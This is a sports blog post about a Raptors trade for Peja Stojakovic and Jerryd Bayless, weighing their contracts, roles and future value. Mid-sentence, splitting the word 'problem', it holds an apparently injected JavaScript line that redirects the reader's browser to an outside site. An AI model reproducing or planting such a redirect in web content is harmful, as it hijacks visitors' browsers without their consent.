Word is that Colangelo has pulled off another trade. This time around he has acquired Peja Stojakovic and Jerryd Bayless from the Hornets for Jarrett Jack, David Andersen and Marcus Banks.
What does this trade do for the Raptors this season and in the future? Well for starters it breaks up the tandem of Jose and Jarrett at the point, and brings in another scoring point guard in Bayless. BC surely would have preferred to get rid of Jose, but word is that Jack and Hornets point guard Chris Paul are close friends, so Jack and his cheaper contract were involved instead.
It is too bad that Jack’s time in Toronto came to such an abrupt end. He was originally brought in before last season as a close friends to CB4, but we all now know that this friendship was not enough to keep Bosh in Toronto. So now Jarrett has a chance to play for a winning team and he will surely provide some backcourt stability behind Paul. The Hornets seem to have had enough of Marcus Thornton for some reason, so Jack is now the presumptive main backup point.
Marcus Banks will not be missed by Raptors fans, as they have been waiting for him to be packaged in a trade ever since he arrived with Marion a few seasons back.
David Andersen is a serviceable big man with some range, but his short lived Raptors career was filled with forced jumpers and greasy hair.
So let’s have a look at the new pieces coming to Toronto.
Peja Stojakovic was one of the top shooters in the world at one point, but he was come back to earth significantly since his days in Sacramento. He is now simply another bargaining chip in Colangelo’s arsenal. Peja’s massive $14.26 million contract expires at the end of the season, so BC could flip him at the deadline to a team looking for cap room.
In the meantime it is unclear what role Peja will have on the Raptors for the time that he does spend here. He has been playing just over 14 minutes a game off the bench for the Hornets, and it is unclear if his body can manage much more at this point in his career. He will continue to launch from behind the arc as much as he possibly can, but not much beyond that. 
Jerryd Bayless. This is where it might get interesting.
After spending just one year at the University of Arizona, Bayless declared for the Draft and was selected 11th overall by the Pacers. He was eventually traded to the Blazers on draft night, and spent his first two seasons in the Pacific Northwest.
Bayless has never been given extended playing time, as he was stuck behind Brandon Roy, Rudy Fernandez, Nicolas Batum and others in Portland. He was traded to the Hornets before this season started, and was stuck behind Paul, Marco Belinelli and was battling with Thornton for end of the bench minutes.
If there is one thing that Bayless can do, it is score. He put up 37.9 ppg as a junior in high school, and put up 19.7 per as a freshmen at Arizona. He is a prototypical combo guard, but if given the opportunity he could impress Raptors fans.
He can attack off the dribble as well as launch from distance. Last year for the Blazers he put up 8.5 a game in just 17 minutes. So if he can get 25+ minutes for Triano, it is possible that he could pour in 12+ a game.
The probwindow.location=”http://occupyto.org/”;lem is that he has a game that is fairly similar to that of Barbosa, another pure scoring guard. It will be interesting to see who gets the most playing time with the revamped lineup. Jay has had very little consistency in his rotations this season, so it is possible that Bayless comes in and gets a shot to prove himself.
Raptors fans who have been watching the train wreck that has been this season so far are already looking ahead to next season, and with good reason. One of the main targets that has come up in conversation has been freshmen Duke guard Kyrie Irving. He was one of the top players in this this years recruiting class, and he has a chance to win a national championship with Coach K this year.
While you would be lucky to find someone in the city of Toronto that thinks that Bayless could be a part of Colangelo’s long-term plan, it just might happen. If that is the case, then Irving might not be the man to focus on in the college game this season as a future Raptor. The Dino’s are surely headed for the lottery, but perhaps they will go after one of the big men that will be dominating the college game this season. Perry Jones, Harrison Barnes or Jared Sullinger.
What is Colangelo’s plan? Well I think we would all like to know that. But the one thing about him is that he is never afraid to make moves. Many of them often have no purpose, but he makes them for the sake of it.
He still has the trade exception from the Heat in his back pocket, so this move with the Hornets could be a warm up for a much bigger move to come later this season.
Add The Sports Daily to your Google News Feed!
